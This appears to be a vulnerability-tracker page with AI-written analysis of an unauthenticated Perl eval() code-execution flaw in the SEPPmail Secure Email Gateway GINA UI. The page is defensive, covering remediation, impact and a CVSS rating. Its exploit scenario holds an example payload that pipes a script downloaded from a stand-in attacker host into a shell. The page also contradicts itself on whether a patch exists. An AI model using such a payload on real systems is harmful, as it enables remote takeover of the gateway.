Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessScan for SEPPmail GINA UI endpoints
-
DeliveryCraft HTTP request with Perl injection payload
-
ExploitServer passes input to eval()
-
ExecutionExecute arbitrary system commands
-
PersistEstablish persistence via cron/SSH keys
-
ImpactExfiltrate emails and credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires only that the vulnerable SEPPmail Secure Email Gateway (versions before 15.0.2.1) is running with the new GINA UI feature deployed and accessible to the attacker. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms no special conditions: remote unauthenticated exploitation against default configurations of internet-facing SEPPmail Secure Email Gateway appliances. The specific limitation is that only installations that have adopted the 'new GINA UI' component are vulnerable - legacy UI versions or deployments where GINA UI is disabled/not deployed would not be affected via this attack vector. Organizations that restrict management interface access to internal networks only would not be vulnerable to internet-based attacks, though internal threat actors or compromised workstations could still exploit the flaw. |
| Impact | This vulnerability represents critical real-world risk based on multiple converging factors. The CVSS 4.0 score of 9.3 with vector AV:N/AC:L/PR:N/UI:N indicates trivial exploitation: network-accessible, low complexity, no authentication, no user interaction required. Attackers can compromise the gateway remotely without credentials. As an email security appliance positioned at network perimeters, SEPPmail gateways are internet-facing by design, maximizing attacker reach. The GINA UI being 'new' suggests potentially wider deployment in recent versions, expanding the attack surface. Reported by a national CERT (NCSC.ch) rather than through bug bounty programs indicates this may have been discovered through incident response or proactive threat hunting, though no CISA KEV listing or public exploit code is currently identified. Email gateways represent high-value targets as they process sensitive communications and often serve as pivot points into internal networks. The combination of maximum CVSS impact ratings (VC:H/VI:H/VA:H) with zero authentication requirements makes this an urgent patch priority despite absence of confirmed active exploitation at time of analysis. |
| Exploit ScenarioDerived | An unauthenticated remote attacker identifies the SEPPmail gateway's GINA UI endpoint through port scanning or reconnaissance of the organization's MX records and web interfaces. The attacker crafts an HTTP request containing malicious Perl code in a vulnerable parameter (e.g., injecting system('wget http://attacker.com/backdoor.sh | sh') or reverse shell commands). The GINA UI endpoint passes this unsanitized input directly to Perl's eval function, executing the attacker's code with the privileges of the web application user (typically root or a highly privileged service account on appliance-based systems). The attacker establishes persistent access, exfiltrates email communications, modifies security policies to allow malicious emails through, or pivots to internal network resources using the gateway's trusted position. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Remote code execution in SEPPmail Secure Email Gateway versions prior to 15.0.2.1 enables unauthenticated attackers to execute arbitrary Perl code via the GINA UI. The vulnerability stems from an endpoint passing unsanitized user input directly to Perl's eval function, allowing complete system compromise. Reported by Switzerland's national CERT (NCSC.ch), this represents a critical pre-authentication attack surface requiring immediate patching.
RemediationAI
Upgrade to SEPPmail Secure Email Gateway version 15.0.2.1 or later immediately, as documented in the vendor's external release notes at https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#security. Given the unauthenticated remote code execution nature, this should be treated as an emergency patch cycle. If immediate patching is not feasible, implement network-level access restrictions to the GINA UI: restrict access to the vulnerable endpoint to trusted management networks only via firewall rules or reverse proxy controls, blocking all internet-facing access. Identify the specific GINA UI URL paths and apply allowlist-based access control. Monitor authentication logs and web server access logs for unusual POST/GET requests to GINA endpoints, particularly those containing Perl code patterns (system, exec, backticks, pipe operators). Note that access restrictions are temporary mitigations only and introduce operational overhead for legitimate remote administration - plan for rapid patch deployment within 24-48 hours of detection.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exploits Perl's eval function, which dynamically executes arbitrary code passed as strings. The new GINA UI (likely SEPPmail's Generation-Integrated Next Architecture interface) contains an endpoint that fails to sanitize attacker-controlled parameter input before passing it to eval. This is a textbook CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) vulnerability. When untrusted data flows directly into eval without validation, attackers can inject malicious Perl commands that execute with the privileges of the web application process. This affects SEPPmail Secure Email Gateway (cpe:2.3:a:seppmail_ag:secure_email_gateway), an enterprise email security appliance handling message filtering, encryption, and threat detection for organizations.
Know when Secure Email Gateway gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (NCSC.ch) · only source for this CVE.
CVSS VectorVendor: NCSC.ch
Lifecycle Timeline
3DescriptionCVE.org
SEPPmail Secure Email Gateway before version 15.0.2.1 allows unauthenticated remote code execution in the new GINA UI because an endpoint passes attacker-controlled input from a parameter to Perl's eval.
Executive ViewAI
SEPPmail Secure Email Gateway versions before 15.0.2.1 contain a critical remote code execution vulnerability allowing unauthenticated attackers to execute arbitrary commands through the GINA UI, potentially compromising email security infrastructure and all protected communications. Organizations running affected versions face immediate risk of complete system takeover without authentication, making this a high-priority remediation target.
No vendor-released patch identified at time of analysis. Interim mitigations: restrict network access to GINA UI endpoint to trusted administrative IP ranges only; disable GINA UI if not operationally required; implement inline network intrusion detection signatures targeting Perl eval payloads in GINA requests; monitor email gateway logs for unusual Perl execution patterns. These controls reduce but do not eliminate risk-upgrade remains mandatory.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Secure Email Gateway
View allSecure Email Gateway from Cellopoint has Buffer Overflow Vulnerability in authentication process. Rated critical severit
A vulnerability in the content scanning and message filtering features of Cisco Secure Email Gateway could allow an unau
The SMTP Listener of Secure Email Gateway from Cellopoint does not properly validate user input, leading to a Buffer Ove
Authorization bypass in SEPPmail Secure Email Gateway versions prior to 15.0.4 enables remote unauthenticated attackers
Remote unauthenticated attackers can read arbitrary local files and trigger deletion of targeted files in SEPPmail Secur
Command injection in SEPPmail Secure Email Gateway before version 15.0.7 enables authenticated administrators to execute
Remote code execution in SEPPmail Secure Email Gateway versions before 15.0.4 allows unauthenticated attackers to execut
SEPPmail Secure Email Gateway before version 15.0.3 allows attackers to bypass subject sanitization and forge security t
SEPPmail Secure Email Gateway before version 15.0.3 fails to properly authenticate inner messages within S/MIME-encrypte
Account takeover in SEPPmail Secure Email Gateway versions before 15.0.3 allows unauthenticated attackers to reset victi
SEPPmail Secure Email Gateway before version 15.0.3 allows remote attackers to bypass subject line sanitization controls
SEPPmail Secure Email Gateway before version 15.0.3 allows remote attackers to inject malicious certificates into S/MIME
EUVD-2026-28588
GHSA-qwq6-r6c6-68jr
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB